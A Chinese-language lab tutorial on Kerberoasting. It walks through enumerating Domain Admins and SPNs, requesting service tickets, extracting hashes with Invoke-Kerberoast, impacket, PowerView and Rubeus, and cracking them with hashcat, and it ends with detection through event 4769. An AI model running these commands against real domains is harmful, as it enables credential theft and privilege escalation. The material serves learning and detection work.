kerberosating攻击利用

kerberosating攻击利用

Scroll Down

一、简介

1.1 攻击流程

  • kerberosating是一种基于Kerberos协议,利用SPN机制签发ST,取得票据后,对票据进行离线破解以此取得SPN所关联账户的明文密码的机制。

1.2 SPN

  • SPN(ServicePrincipal Names)是一个服务实例的唯一标识符,kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。

  • 换言之,就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。

  • SPN示例:

    • 格式:<serviceclass>/<host>:<port>/<service name>
    • 远程桌面服务:TERMSRV/WIN-DO4J60BDGU8.tech.com
    • LDAP服务:ldap/DC/tech.com
  • 对账户设置SPN

    • setspn -S test/test.tech.com privilege

image-20231103111847067

二、攻击

2.1 利用流程

  • 查看域内特权账户==>找到这些特权账户的SPN==>利用SPN主动申请ST==>将票据导出==>离线破解==>取得关联账户明文密码

2.2 探查域内特权账户

  • 使用普通域内账户即可开始攻击

image-20231103112938114

  • 查询域管账户:
    • net groups "Domain Admins" /domain

image-20231103113056469

2.3 找到这些特权账户的SPN

  • 查询域内所有的SPN
    • setspn -q */*

image-20231103122656411

2.4 利用SPN主动申请ST

  • 根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "test/test.tech.com"  
  • 注意:
    • 因为这里使用的是自身的普通账户请求的票据,所以没法直接采用PTT的方式使用票据的关联特权账户权限

image-20231103123242285

2.5 票据利用

2.5.1 方式1

  • 依赖工具:

    • 导出票据:Invoke-Kerberoast.psRubeus.exePowerViewImpacket

    • 离线破解:hashcat

    • Invoke-Kerberoast.ps1

    • 这里我上一天执行的时侯还是OK的,今天再复现就出现了异常~~~,就盗图了哈

PS C:\> Import-module .\Invoke-Kerberoast.ps1
PS C:\> Invoke-kerberoast -outputformat hashcat |fl

2.5.2 方式2:impacket

  • 查询票据:impacket-GetUserSPNs -dc-ip 192.168.30.149 tech.com/administrator

image-20240228133412985

  • 请求指定用户票据:impacket-GetUserSPNs -dc-ip 192.168.30.149 tech.com/administrator -request-user privilege

image-20240228133506737

2.5.3 方式2:PowerView

  • 下载:传送门

  • 获取指定用户票据哈希:Get-DomainUser -Identity privilege | Get-DomainSPNTicket -Format Hashcat

image-20240228134814984

2.5.4 方式3:Rubeus

  • 获取指定用户哈希:.\Rubeus.exe kerberoast /user:privilege /nowrap
    • /nowrap:转换输出格式为符合 hashcat 的格式
    • /tgtdeleg:申请 RC4 加密格式字符

image-20240228135612679

2.6 票据解密

  • hashcat -m 13100 hash wordlist -o found.txt
  • 注:hash 是前线取得的hash值,注意将其转为单行!否则不符合格式

image-20240228140443577

三、事件溯源

  • 在账户向DC申请SPN票据时会产生日志4769,以此通过申请账户以及申请服务 ID 来判断该攻击是否发生

image-20240311193337049